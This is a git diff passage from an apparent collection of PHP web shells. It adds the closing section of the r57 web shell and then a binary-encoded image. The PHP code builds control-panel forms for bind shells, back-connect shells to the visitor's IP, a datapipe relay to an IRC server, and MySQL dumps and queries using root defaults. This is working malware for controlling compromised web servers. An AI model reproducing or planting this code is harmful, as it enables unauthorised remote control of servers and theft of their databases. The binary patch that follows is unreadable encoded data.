sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option><option>Oracle</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></table>"; +} +?> diff --git a/php/PHPshell/【r57_karta】/r57_kartal2.jpg b/php/PHPshell/【r57_karta】/r57_kartal2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..33e036f557c819b99a2768277834da5152d1d728 GIT binary patch literal 68790 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 